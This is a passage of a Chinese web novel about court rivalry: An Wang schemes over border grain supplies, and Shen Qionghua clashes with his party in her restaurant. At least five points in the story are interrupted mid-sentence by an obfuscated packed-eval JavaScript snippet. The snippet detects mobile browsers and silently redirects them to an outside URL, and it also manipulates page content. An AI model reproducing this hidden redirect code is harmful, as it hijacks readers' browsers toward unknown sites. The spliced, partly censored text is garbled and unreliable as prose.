“可谁料安王与永宁伯不争气,打了败仗,皇上没办法只能派王爷出征。” “但如此一来,王爷又将积累战功,安王与王爷之间的平衡将彻底被打破。” “皇上这是在想法子补救呢,给安王一个调度粮草的权利,将来**行赏时,也不至于让安王被王爷压得毫无光芒。” 第二百八十四章皇上的心思捉摸不透 洛希瑶闻言,脸上的表情一言难尽,显然是很难理解皇上的想法。 “可皇上明知道表哥与安王之间的争夺,这样做不怕安王在其中动手脚于边关战事不利吗?” 沈琼华心中叹了一口气,道:“我们一向与安王**不合,自然会将人往最坏的那方面想。” “但也许在皇上心中,安王与王爷都是他的儿子,皇上即便是更偏向王爷,心里也不相信安王会不知轻重做出延误粮草这种事情吧。” 一是平衡牵制,二是也想再给安王一个机会,除开这两个沈琼华也想不出别的理由了。 总不至于皇上希望边关打败仗吧? 看着洛希瑶担忧的眼神,沈琼华拍了拍她的手,安抚道:“你也不用太过担忧,我方才得到消息的第一时间便派人出京收粮去了。” “沈家有王爷留下的暗卫,若是实在不行,保险一些,咱们收一批粮食,让他们与朝廷押运粮草的人一同出发。” “如果安王当真使手段让朝廷的粮草延迟送达边关,咱们送去的粮食也能抵抗一段时间。” “安王即便是使手段,如今大敌当前,也不敢做得太过明显,最多是延迟个三五日。” “所以我觉着准备七日用的粮食应当就足够了。” 沈琼华说一句,洛希瑶就点一下头。 说到最后,洛希瑶心头的担忧显然是减轻了不少。 她双眼发亮地看着沈琼华,双手轻轻摇晃沈琼华的手,道:“琼华,你想得真周到,我怎么没有想到这个主意。” “府里还有些银子,我这就回去拿银子,哪能让你一个人出银子买粮!” 若不是镇国公府实在是没什么存银,她是定然不肯让琼华出银子去买粮的。 但如今边关的事情要紧,她也顾不得那么多了。 虽然拿不出那么多买粮的银子,但有多少便拿多少吧,实在不行把她那些首饰当掉也行,总能凑些出来。 洛希瑶这般想着,站起身,火急火燎地就要走。 沈琼华见状连忙拉住她。 沈琼华与洛希瑶相处了这么久,哪能不知道她是怎么想的。 瑞王得到的赏赐基本上都换成了银钱贴补到了军中,镇国公府又何尝不是如此。 镇国公府那么气派的宅子里头光秃秃的,只除了洛希瑶闺房前的一个小花园还能见点景色,其余的…… 怎么拿的出银子。 沈琼华劝解道:“不用拿银子,本就该是沈家出银子,我与王爷之间早就约定好的,王爷助我摆脱安王与永宁伯府,我沈家今后就为王爷所用。” 洛希瑶摇头,道:“琼华,你不必说这种话,表哥是表哥,我是我,你帮了我和表哥那么多,也不能一味地让你付出。” 沈琼华见洛希瑶坚持,知晓这种理由无法阻止她,只能换个理由,“你也不必如此心急,我之所以让人这么快让人去收粮,是想着沈家名下还有个食鼎楼在。” “若是收来的粮食派不上用场,就拉到食鼎楼去,也算是物尽其用,不至于浪费。” “所以这一批粮食还不一定会送往边关,你不必现在就急着将银子给我,这批粮食到底是送往边关的粮草还是食鼎楼的存粮还不一定呢。” 沈琼华这一张嘴,即便是没有理由的事情,也能找出几分理由来。 洛希瑶一听果然不急着回去了,但与沈琼华想的有所不同。 洛希瑶心里想着的是,既然还不确定便再等等,她可以一边着手将一些首饰卖出去。 省得一下子卖出那么多首饰被当铺压了价,卖的银子多一些,给琼华的银子就能多一些。 沈琼华还不知晓洛希瑶还没有打消给她银子的想法,趁着这次机会,又再叮嘱了一下洛希瑶。 “安王既然进了户部,想必是来者不善,你最近可要将镇国公府看紧一些,切莫让他钻了什么空子。” 安王突然来这么一招,确实让洛希瑶心有戚戚,也不复之前那般带着几分随意的样子,很是郑重的点了点头。 送走了洛希瑶,沈琼华又冥想了一会儿,发觉没有什么遗漏的,这才转移了注意力。 —— 皇宫。 太极殿。 谢荣似是不知道他那道旨意带来了多大的影响,换下了朝服,穿着一身舒适的常服坐在案前批阅奏折。 李顺全走进来,小心翼翼地奉上热茶。 面上无波无澜,心里却提起了十二分的精神。 自皇上早朝下了那道旨意后,整个京城表面上风平浪静,实则底下已经暗潮汹涌。 不少大臣都在私底下猜测皇上这旨意究竟是什么意思。 安王打了败仗,原本是要受罚的,可安王受了重伤,伤好之后皇上居然没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15166188|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惩罚安王,反而让他进户部管理边关大军的粮草调度。 皇上这是……心疼瑞王,要抬举瑞王? 大臣们拿不定主意,都想从御前的人身边打听一些消息。 李顺全也不例外收到了几个重臣隐晦的询问。 别说李顺全不敢将皇上的心思泄露出去,即便是想泄露,可连他自己都不清楚皇上到底是什么想法,如何去说。 李顺全自己都被皇上琢磨不透的心思给搞迷糊了。 若说皇上关心抬举安王,也不像啊,自那回安王搬去延禧宫静养之后,皇上便再也没有主动去看过安王了,便是今早的旨意,也是突然让人拟定的。 李顺全面上一派沉稳之态,心思都已经不知晓飘到哪儿去了。 直到谢荣喊了他两声,他才缓过神来,连忙下跪道:“奴才该死。” “起来吧。”谢荣淡淡道:“想什么呢,那么入神?” “谢皇上!”李顺全边起身笑着道:“奴才是想着皇上这几日胃口不太好,得让御膳房做几道开胃的菜才是。” 谢荣看了他半晌,也没说相没相信,反而问起来了另一个话题,“安王可出宫了?” 李顺全闻言心都提了起来,面上却不动声色道:“安王殿下还未出宫,在贵妃娘娘的延禧宫里,安乐公主也在。”皇上您可是要摆驾延禧宫? 最后一句话,李顺全在心里默默道,不敢说出来。 谢荣剑眉微蹙,随即嗤笑一声,颇有些意味深长的意味。 李顺全听到这声嗤笑声,头埋得更低了。 谢荣却转移了话题,问道:“五皇子在何处?” 李顺全立刻道:“五皇子殿下现下在上书房。” 谢荣点头,道:“午膳朕与五皇子一起用,顺便抽查一下他的课业。” 李顺全立刻便笑着道:“五皇子知道了肯定很高兴,奴才听说昨日五皇子的课业都被先生夸奖了呢。” 谢荣闻言,脸上终于露出了一丝笑容,“这孩子课业上是还行。” 半晌后,又道:“只是到底还是比当初的渊儿差了些。” 李顺全闻言,正要顺着夸几句瑞王,结果一抬头却发现谢荣眼神晦暗,表情不明,怎么看都不像是高兴的样子,到嘴边的话又咽了回去。 转身去了殿外,让手下的小太监去上书房请五皇子来太极殿用午膳。 第二百八十五章皇后母女为何如此猖狂? 延禧宫。 周贵妃,谢祁安,和安乐公主只余三个主子在殿内,其余的宫婢上了茶水和糕点后便退了下去。 周贵妃此刻整个人容光焕发,面色红润,一扫之前略有些颓丧的样子。 “母妃就知道,你父皇不会这么狠心的,你看今日你父皇不就下旨让你去户部协助调度粮草。” “虽是比不上上战场,但就眼下情形来说,已经是再好不过的结果了,这下,本宫看谁还敢在背后窃窃私语!” 自安王战败后,不止民间,便是宫中也传出了不少闲话,都说安王比不上瑞王。 小嫔妃也在背后嘀咕,一向与她不对付的皇后倒是没有说什么,但周贵妃一直认为皇后躲在凤仪宫里看她的笑话。 周贵妃一直憋着一口气,因为皇上对安王的处罚还未下来,她怕她一气之下做了什么事情惹得皇上生气,皇上会严惩安王。 再加上自那日以后,皇上就并未再来看过安儿,最多就是将太医传至太极殿问一问脉案,再无其他。 这让周贵妃更是不安,安儿受了这么重的伤,若是皇上无动于衷的话,那岂非是赔了夫人又折兵,伤了身子还没有躲过惩罚。 就在她坐立难安时,终于在今日皇上下了旨意,并未惩罚安儿,反而让安儿去了户部调度粮草。 这让周贵妃瞬间扬眉吐气,觉着狠狠打了那些想看她们母子三人笑话的人的脸。 一旁的安乐公主也笑盈盈道:“是啊,母妃,今日可算是出了一口恶气了。” “你是不知道,这段时间永乐那个**说话有多刻薄,也不知道在得意些什么!” “早晚有一天,儿臣一定要将永乐踩在脚下。” 若说安乐公主最讨厌谁,第一个便是与她争抢傅琛的洛希瑶,第二个便是大越的嫡公主,皇后唯一的女儿永乐公主。 周贵妃一向视皇后为眼中钉肉中刺,觉着当初若不是皇后进宫,她定然不会失宠,也不会错失皇后之位。 以至于安乐公主在周贵妃这些年的耳濡目染之下,也产生了与周贵妃一样的想法,觉着是永乐公主抢了她嫡公主的位置。 这嫡公主与公主,虽只有一字之差,可内里却是千差万别。 起码永乐公主身为嫡公主,皇后的独女,想做什么便做什么,在这宫中随意鞭**,甚至是贵女,皇上也不会将她怎么样。 她肆意地活着,因为她的生母是深受皇上宠爱的中宫皇后,即便是她犯再大的错,皇后求求情,皇上就轻轻放过了。 而安乐公主却不同,即便是皇上再宠爱她,她也知晓自己的母亲只是贵妃,还不如皇后受宠。 皇上宠她一是因为她是皇上最小的女儿,二是她特意在皇上面上表现出来的柔顺娇俏的性子。 若是她动不动跟永乐一般泼辣强硬行事,只怕早就惹得父皇不喜了。 甚至说不定还比不上卑贱的顺贵嫔生的五皇子,起码五皇子是皇子,将来起码还能有块封地。 当然,只是安乐公主之前的想法。 近几年长大了一些之后,安乐公主明白了自己还是有一样东西是胜过永乐公主的。 那便是她有一个一母同胞的哥哥。 即便是嫡公主又怎样,皇后只得了一个女儿,并未有亲兄弟,不能继承皇位。 皇位只会在现在的皇子之间挑选一个继承。 现在的几位皇子中,大皇兄身有残疾不足为惧,四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15166189|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇兄荒诞,父皇在就厌弃了他,至于五皇子,太小,生母又出身卑贱,安乐向来没有将其放在眼中, 觉得也就瑞王能和自家兄长争一争。 瑞王虽有军功在身,但自家兄长也不差,在京城中素有如玉君子的美称,获胜的几率还是很大的。 依照安乐公主的想法,永乐公主为了今后的日子,应当要讨好她才是。 毕竟父皇在世,皇后才是深受宠爱,值得人尊敬的皇后,若是父皇驾崩,皇后膝下没有皇子,还不是要看新帝的脸色过活。 不过是寄人篱下罢了,想刁难这对母女还不是一句话的事情。 而她就不同了,若是将来即位的是安王,那母妃就是受人尊敬的太后,连皇后这个太后也得在母妃手下讨生活。 便而她,身为新帝一母同胞的亲妹妹,怎么也要比永乐来得尊贵些。 甚至将永乐的嫡字抢过来也不是不可能。 安乐公主是这样想的,可是皇后与永乐公主似是没有这等觉悟。 从前如何,如今照旧如何。 便是这段日子因为安王战败的事情,永乐公主对安乐公主的嘲讽也是毫不遮掩,直将安乐公主气得够呛。 安乐公主就想不通了,皇后母女这么猖狂,难不成是还做着想将五皇子过继到膝下,让父皇封五皇子为太子的春秋大梦? 我呸!就五皇子身体里的顺贵嫔的低贱的血脉,凭他也配! 父皇若是真有此意,早就会将五皇子过继到皇后膝下了,岂会等到现在! 周贵妃听着女儿说的话,眼底有一身而过的寒芒。 她安抚着女儿道:“安乐别气,总有一天母妃会让那对母女跪着求咱们!” 第二百八十六章 谢祁安却远不如周贵妃母女这般高兴。 他知晓此次若不是他是重伤归来,边关战败的事情定然不会就此这样轻轻揭过。 至于这次的差事,也是他借着此次受伤,再暗中操作了一番,才能让父皇松口。 谢祁安垂下眼眸,眼底划过一丝冷眼。 父皇终究还是太过偏心了,阵前换帅,这是多大的羞辱,若是此次战败之人是谢南渊,父皇定不舍得让他陷入这样难堪的境地。 见他一直沉着一张脸,半分喜色也无,周贵妃和安乐公主终于察觉到一丝不对劲。 周贵妃看向谢祁安,面上染上几分担忧,“安儿,可是有哪里不妥?” 不然为何明明是一件高兴的事情,却不见半分喜色。 谢祁安沉着脸,嗤笑,“母妃,你竟然现在还对父皇抱有希望,我这差事是怎么来的,别人不清楚,难道你也不清楚吗?” “父皇若是真的看重我们,怎会让谢南渊去边关接替我,我又何至于将自己搞得这般狼狈。” “便是这差事……呵,也不过是父皇施舍给我的罢了。” 谢祁安的话说完,周贵妃与永乐公主都沉默了。 这话虽然不好听,但却是真话。 周贵妃似是一下子就泄了力道。 永乐公主却不甘心,她上前一步,拉住谢祁安的衣袖道:“皇兄,难道我们就这样认输了吗?” “我不甘心,你之前不是说要让我与傅琛哥哥成婚的吗?难道是诓我的不成?” 自去岁开始她便老老实实地待在宫内,为的就是皇兄之前的那句承诺。 若是皇兄登不上太子之位,成不了皇帝,那如何能给她和傅琛哥哥赐婚? 之前的那句承诺岂非成了一句空话? 皇兄若是不能成为太子,那太子之位就会沦落到谢南渊身上。 若是将来谢南渊登基,他肯定会给傅琛哥哥和洛希瑶那个**赐婚,那自己又该怎么办? 想到自己多年来的夙愿可能成为一场空,安乐忍不住有一种想要尖叫的冲动。 好在谢祁安在她发疯之前便开了口,“认输?本王的人生里就没有认输这两个字!” 他摸了摸安乐的发顶,轻声道:“你放心,皇兄定然会让你如愿以偿,谢南渊此次想平安从边关回来可没那么容易。” 可惜经过了这么多次,安乐显然不是很信任谢祁安了,“可若是他平安回来了怎么办,他此番若是还立下大功,那父皇肯定会立他为太子了。” 谢祁安的手一顿,漆黑的眼底蕴藏着毁天灭地的风暴,声音冷若寒霜,“若是真到那地步,就休怪我不义了,皇位只能是我的!” …… 皇上下旨让安王进户部调度粮草的消息,在京城掀起一阵风浪后,又很快归于平静。 沈琼华听着茯苓从外头打听来的消息,安王似是一下子沉寂了许多,每日协助户部尚书处理事情,早出晚归。 那些想要攀附安王的人家,送去的帖子,安王府的门房一个也没收,闭门谢客,仿佛安王真的很忙,忙着戴罪立功一般,低调得让沈琼华都觉着不正常。 同时心里的戒备更加提高了几分,事出反常必有妖,这人肯定在憋着什么坏呢。 就在这诡异般的安静里,一道前方传来的战报打破了这样的氛围。 瑞王接任后与陈国打的第一场仗,败了! 此事顷刻间便在京城掀起了轩然大波。 要知道,瑞王自独自领兵以来,打败仗的次数不超过一只手,可如今一到边关就打了败仗,不过是两年多没有与陈国交手,陈国的士兵何时变得这般强了? 若是连瑞王和镇国公以及林大将军都抵挡不住陈国的军队,那该当如何? 许是之前安王在边关打了好几场败仗,百姓们都以为是安王没怎么带过兵的缘故,认为换了瑞王领兵定能一雪前耻。 可如今事与愿违,京城便传出了不少谣言。 说什么,连瑞王身经百战都打不过陈国的军队,难怪安王会打了败仗。 如此说来,之前安王打败仗也不能全是安王的错,是陈**队太强了的缘故。 安王带兵经验没有瑞王丰富,之前能打几次胜仗已经很不错了,总比瑞王强些,起码没有一去边关就打了败仗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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之前林惜颜因着各种原因在沈琼华那受了不少气,如今自觉扬眉吐气了,便抖了起来,脚步一迈就挡在了沈琼华的身前。 沈琼华:“……” 这三人可真是没有一个是她不厌恶的。 第二百八十七章百步笑五十步? 林惜颜最得意也最沉不住气,“呦,我当是谁,原来是你,沈琼华,你都沦落到这般地步了,还好意思来酒楼。” “你不会是打听到安王殿下在这里,所以才赶来的吧?” “这是看瑞王不行了,又想来投奔安王殿下?” “可惜啊,就凭你之前做的事,想都别想!”林惜颜分外笃定道。 这种水性杨花,嚣张跋扈的女人,她是断然不会让其进安王府的,尤其还胆大包天打了她好几巴掌,这简直是她的耻辱。 她听到瑞王打了败仗的消息,高兴之余,就想到了沈琼华肯定又会想回头勾搭安王。 所以早早便将之前的矛盾说与安王听,她要让安王知道沈琼华到底是个什么样的货色。 任何男子都不会容忍自己危在旦夕之时,自己的女人抛弃了他,毫不犹豫地投奔向另一个男人的怀抱。 林惜颜坚定地认为安王也是如此,他若是知晓他在边关打了败仗承受压力之时,沈琼华毫不犹豫地站在了瑞王那边,甚至还欺辱了自己与周令宜。 定然不会再与沈琼华藕断丝连,重修旧好。 她才是将来的安王妃,是安王的妻,此番让安王断了念想,才好将全部心思都放在她身上才是。 林惜颜这一番话说出口,丝毫没有发现身边二人的异常。 周令宜唇角微勾,虽然她知晓沈琼华从始至终并没有与殿下藕断丝连,一切都是林惜颜那个蠢货被她引导着误会了,但这并不影响她看沈琼华的笑话。 沈琼华之前行事那般张狂,因着抱上了瑞王的大腿,将永宁伯府害到降了爵位,也没有想到会落到如今这地步吧。 真是活该! 若是早早地听话,任由他们使用沈家的家财该有多好,偏偏要与他们作对,简直是不知所谓! 而谢祁安的反应却与周令宜的截然不同。 他听到了林惜颜的话,下意识也以为沈琼华是如同林惜颜说的那般想要弃暗投明,毕竟此前他也常来食鼎楼,却没有一次碰上过沈琼华。 却独独今日撞上了,他目光便落在了沈琼华的身上。 沈琼华今日穿了一身珍珠红的衣裳,三千青丝垂在肩头,发髻上只带了零星几个首饰,她五官本就明媚,穿着这一身红衣显得她本就白皙的肌肤更白了。 不得不说,虽然沈琼华之前那一番不识好歹的举动确实惹怒了他,但这张脸确实是不错。 若是她此时有醒悟之意,看在这张脸的份上,他也不介意不计前嫌地收纳她。 至于沈家的银钱,虽然他可能大概率用不上了,但也不介意收入囊中。 没错,谢祁安此时已经将太子之位视作了自己的囊中之物。 若说之前,谢祁安还有所担忧,但自从谢南渊打了败仗的消息传来,谢祁安便彻底放了心。 看来,他在边关做的那些安排起了作用。 指望谢南渊打胜仗? 呵! 能不能保住性命回来都是个问题! 若是谢南渊回不来,那这太子之位,舍他其谁? 沈琼华听着林惜颜的话,眼角一抽,看失心疯一样看着林惜颜,脱口而出道:“好狗不挡道!” 她此话一出,林惜颜三人的眼神霎时间就变了。 林惜颜怒道:“沈琼华,你竟然还敢这么嚣张,是看不清如今的形势吗?” 沈琼华嗤笑,“形势?什么形势?” “第一,这是我自家的酒楼,我想什么时候来就什么来,我来我自家的酒楼你们却觉得我是来找你们的,未免也太过自作多情了一些。” “莫不是认为自己是银子,人人都要喜爱你们不成?” “你!”林惜颜指着沈琼华正要说些什么,就被沈琼华一巴掌拍掉了手指。 “第二,林小姐,若是我没记错的话,上一回,你可是说我食鼎楼是黑店,嚷嚷着要降价来着。” “怎么,这会儿倒是上赶着来了?这是林大将军府有银子了?” “上一回,林小姐没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15166191|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银子在食鼎楼妄想慷他人之慨,如今有了银子,不如继续上回的事情啊?不是口口声声为百姓着想吗?” “这有了银子光说不做怎么成?需不需要我跟大堂的食客说一声,说今日的饭钱全由我们慷慨的林小姐结算啊?” “沈琼华!你这个**!你还敢提上回的事!如今瑞王自顾不暇,本小姐倒要看看还有谁能护着你!” 林惜颜气得跳脚,沈琼华的话明显令她想起了上回令她丢脸至极的事情,尤其沈琼华还在安王面前说了出来,她冲上前就想甩沈琼华的巴掌。 如今瑞王和平宁郡主都不在,而她身边则有安王在,林惜颜此刻底气十足! 沈琼华就知道林惜颜要发疯,早就不动声色地将脚伸了出去,林惜颜果然被扳倒了,沈琼华顺势往反方向一推,就将林惜颜砸在了墙上。 她拍了拍手,听着林惜颜不经意间发出的一声痛呼,嘴角轻勾。 谢祁安将人扶稳,看向沈琼华的眼神带着不善,“沈琼华,事到如今你竟还不知悔改?竟然敢对颜儿出手!” 虽然林惜颜还未嫁给他,但圣旨已下,顶着准安王妃的头衔。 沈琼华对林惜颜如此不敬,之前他没在场也就罢了,可今日他在一旁,沈琼华还敢如此行事,未尝是没有将他放在眼中! 沈琼华翻了一个白眼,“安王莫不是忘了,她眼下可还不是你的安王妃,而本县主乃是皇上亲封的县主。” “她一个大臣之女,竟妄想掌掴本县主,即便是说破天去,也是本县主有理,而她,是自作自受!” 谢祁安呼吸一滞,脸色顿时变得难看了起来。 林惜颜站直了身子,双眼死死地瞪着沈琼华,似是很不服气的样子,脸蛋涨得通红。 沈琼华看向她,接着道:“林小姐,其实我挺不明白,你说瑞王打了败仗我应该没脸出门,但论起来,你应该比我更没脸出门才是。” “毕竟林大将军这次打的败仗可多多了,你这不是百步笑五十步吗?” 第二百八十八章只有你才是本王的妻 “这怎么能一样!”林惜颜失声尖叫。 虽然父亲这次也打了败仗,但安王的声誉却因此战有所好转。 而作为安王的竞争对手,瑞王的能力却遭受到了质疑。 她即将嫁入安王府,林家早就站到了安王这条船上,自然要为安王尽心尽力。 若是让她选,她也会选择此战战败。 至于林家因此可能会遭受到的皇上的斥责与百姓的旨意…… 只要安王能登上皇位,那她就会是皇后,父亲便会一跃成为国丈,到时还怕林家不会光耀门楣吗? 现下一时所遭受的**,都是为了以后,这个道理不仅是她,林府上下都心知肚明。 所以此战在林惜颜看来,不仅不觉得**,反而还是荣耀的证明。 沈琼华知道林惜颜蠢笨,思考问题的方式与常人迥异。 她将林惜颜今日的所作所为与说的话结合起来,顷刻间便明白了林惜颜是如何想的。 顿时冷笑一声,道:“如何不同?” “难道林小姐还未进安王府的门就将自己摆在了安王府的女主人的位置上,觉着之前安王战败让你颜面尽失,所以眼下见瑞王也战败了,林小姐不仅不为边关百姓担忧,反而有些幸灾乐祸?” 沈琼华这话说得可丝毫不留情面,就差指着林惜颜的鼻子说她心术不正,边关打了败仗,她还高兴。 便是连安王也沈琼华被拉下了水。 林惜颜为何会因瑞王打了败仗而高兴? 还不是因为作为她未来的夫婿安王与瑞王是竞争对手。 早在赐婚圣旨下达的那一刻,林惜颜与安王便紧紧的绑在了一起,林惜颜无论做什么,其他人都会想这其中是不是也有安王的授意。 安王可是有意于储君之位的,若是让别人觉得他连边关百姓的性命都不顾,打了败仗还高兴,如何会信服于他? 若是失了民心,他还如何能登上储君之位,甚至以后的帝位,那他之前差点生死一线的重伤不是就白弄了吗? 这边闹的动静有些大,又是临近在大门口的位置,能来食鼎楼的大多数不是富商巨贾,就是官宦人家的子弟,多多少少还是有些人能认出来安王的,此刻都不动声色地看了过来。 林惜颜却并未注意到,沈琼华几次三番顶撞她,她心里早就不满了,此刻听到这话,脑子一热便想应下。 想要告诉沈琼华,自己就是在看她的笑话! 还是谢祁安察觉到了沈琼华话语里的深意,抢在林惜颜之前开了口。 “沈琼华——” “还请安王殿下唤我嘉林县主。”沈琼华冷漠地打断了他的话。 谢祁安深吸一口气,看到不远处的食客投过来的隐晦的眼神,扬声开口道:“嘉林县主,你误会林小姐了,她只是为本王伤势痊愈而高兴,并没有幸灾乐祸的意思。” 沈琼华嗤笑一声,也不与谢祁安争辩,此人最是狡猾,争辩是无用的。 她缓缓开口道:“若是如此,那便最好,眼下边关战败,百姓受苦,许多将士为此丢了性命,若真有人在此等情形下还在幸灾乐祸的,那还真是畜生不如了。” 这话,是将安王一行人都骂了进去。 有耳尖的食客听到了沈琼华的话,连忙将视线收回,老老实实地用膳。 林惜颜怒上心头,又要开口。 周令宜连忙上前制止了她,生怕她又说话不过脑子,让人抓住了把柄。 这个蠢货,就会添乱! 谢祁安眼眸沉了沉,压低声音愤怒道:“沈琼华,你就那么确定谢南渊能赢,如此肆无忌惮?” 沈琼华闻言,眼眸微敛,幽幽开口道:“若是瑞王不能赢,那谁能?你吗?一个只知道靠女人上位的卑鄙小人?” “你!”谢祁安怒目而视。 “不过就是一场仗败了罢了,安王殿下可不要高兴得太早,当心后面笑不出来。”沈琼华道。 她虽然不知晓谢南渊到底是因何缘故败了,但她对谢南渊有信心。 林惜颜却不服气,小声嘀咕道:“第一场就败了,还敢妄想以后,简直是痴人说梦!” 沈琼华听到了林惜颜的话,走到她面前道:“林小姐,你还真是不辜负畜生不如这个评价。” “沈琼华!!!”林惜颜说着又想动手,却被周令宜死死地拉住了手。 林惜颜挣扎不开,怒目看向周令宜,“你做什么!” 为何要阻拦她! 沈琼华的视线落在两人相缠的手上,缓缓移向周令宜的那张脸,最后又落回到林惜颜的身上。 随后发出一声轻笑,道:“林小姐,你还是长点心吧。” 话是对着林惜颜说的,眼神却看向了谢祁安。 谢祁安眼眸微眯,面不改色。 果真是没脸没皮! 沈琼华厌恶地蹙了蹙眉,见林惜颜还是一副似懂非懂的样子,顿觉无趣,施施然上了二楼。 直至看不见沈琼华了,周令宜这才松开了林惜颜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15166192|165119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林惜颜怒火中烧,狠狠推了周令宜一下,“你方才为何要拦着我!” 谢祁安眉心微蹙,下意识伸手想去护,手刚伸出一半,忽然意识到了什么,又连忙收了回去。 林惜颜被对着谢祁安,并没有看到这一幕。 周令宜后背撞到了墙壁上,有些生疼,抬头对上谢祁安的眼睛,顿时眼泪就出来了。 泪水在眼眶里打转,却倔强的不肯落下,一副隐忍又甘之如饴的眼神看着谢祁安。 谢祁安神色微动。 林惜颜却并未察觉到两人之间的眼神交流,反而是琢磨起沈琼华临走时的那句话。 “她方才那是什么意思?” 她总觉着沈琼华方才的话饱含深意。 想到沈琼华方才的目光是看向谢祁安的,林惜颜心中有了些许猜想。 “殿下,您莫不是还对她念念不忘?您忘了怎么脚踏两条船的吗?她就是个朝三暮四,水性杨花的**!”林惜颜愤愤道。 她没想到这个时候了,安王竟然还对沈琼华心存念想,不然沈琼华怎敢挑衅她。 没错,沈琼华方才那句话被林惜颜定义为了**。 谢祁安与周令宜心里具是松了一口气。 谢祁安看向林惜颜的眼神眼底藏着些许的厌恶与不屑。 这样蠢笨的女子,又嚣张跋扈,若不是投生在了林家,他是断然不可能与之有交集的。 心中厌恶,眼神却在林惜颜看过来时,变得柔和又缠绵。 他伸手牵住林惜颜的手,深情地道:“颜儿,怎么会呢,本王早就与她没关系了,即便是有,也早在她投向瑞王时断了,本王现在心中只有你。” 林惜颜看着谢祁安英俊儒雅的相貌,登时红了脸,脑子也不太灵光了,道:“那她为何要那样说……” 谢祁安眼眸一闪,面不改色道:“也许是她还对本王存有幻想吧,不过你放心,只有你才是本王的妻。” 谢祁安说着,还揉捏了一下林惜颜的手。 这似有若无的撩拨,林惜颜如何抵抗得住,竟大庭广众之下主动靠进了谢祁安的怀中,“殿下,我的心中也只有你。” 谢祁安身体一僵,没想到林惜颜会做出此等举动。 果然是愚蠢又嚣张,现下又多了一个不知廉耻。 谢祁安心里的厌恶更甚了几分,他忍住心里的厌恶揽住了林惜颜的胳膊,目光却落在了周令宜的身上。 周令宜咬唇,一脸委屈地与谢祁安遥遥相望。 第二百八十九章裴凉川弃医从商? 沈琼华自是不知晓她走后还上演了这一出画面。 她上了二楼后便轻车熟路地进了包厢。 安锦与裴凉川都在里面。 安锦见沈琼华进来,立马迎了上来,“小姐,您还好吧?” 沈琼华与安王一行人的交锋是在食鼎楼内发生的,自然是瞒不过安锦这个食鼎楼的掌柜。 但安锦却也没有贸然上前。 一是不清楚到底发生了什么,怕贸然上前反倒给沈琼华添乱。 她从前的经历毕竟不算光彩,先前安王答应了不说出去,若是她此刻撞上去,让安王想起来了这一茬,落于下风恼羞成怒时,万一一气之下捅了出来那就得不偿失了。 二是裴凉川刚刚收好了粮食,还需沈琼华定夺,之后还需再购买粮食也不一定,还是不要让安王将过多的注意力放在食鼎楼身上才是,免得后面行事束手束脚。 基于这两层考虑,安锦这才没有露面。 但却是交代了好几个小二,让他们盯着安王一行人,若是有人想对沈琼华动手,便要立刻上前护住沈琼华。 沈琼华看见安锦担忧的眼神,笑着点了点头,“放心,我没事。” “哎呦,我就说了没事吧,这食鼎楼是沈小姐自己的地盘,再怎么着也不会被欺负啊,没有你的叮嘱,他们还能眼睁睁看着自己东家受欺负不成?” 吊儿郎当的声音从后面传来,安锦侧过身,没了视线遮挡,沈琼华一眼便看见了穿戴招摇的裴凉川。 裴凉川这段日子过得很是‘清贫’,穿着在他看来的‘破布烂衫’,吃的是粗茶淡饭,住的是廉价的客栈,好不容易办完了事情,便立刻回到了食鼎楼。 一回来便迫不及待地沐浴更衣,换回了他的价值白两的衣裳。 沈琼华看着他已经换回的衣裳和配饰,眼中染上些许笑意,道:“裴神医,此番可还顺利?” 裴凉川看着沈琼华一副笑意吟吟的模样,再想起安锦方才那副担忧的样子心里就只想叹气。 他算是看明白了,安锦那一颗心都扑在沈家上了,要为沈琼华鞠躬尽瘁死而后已。 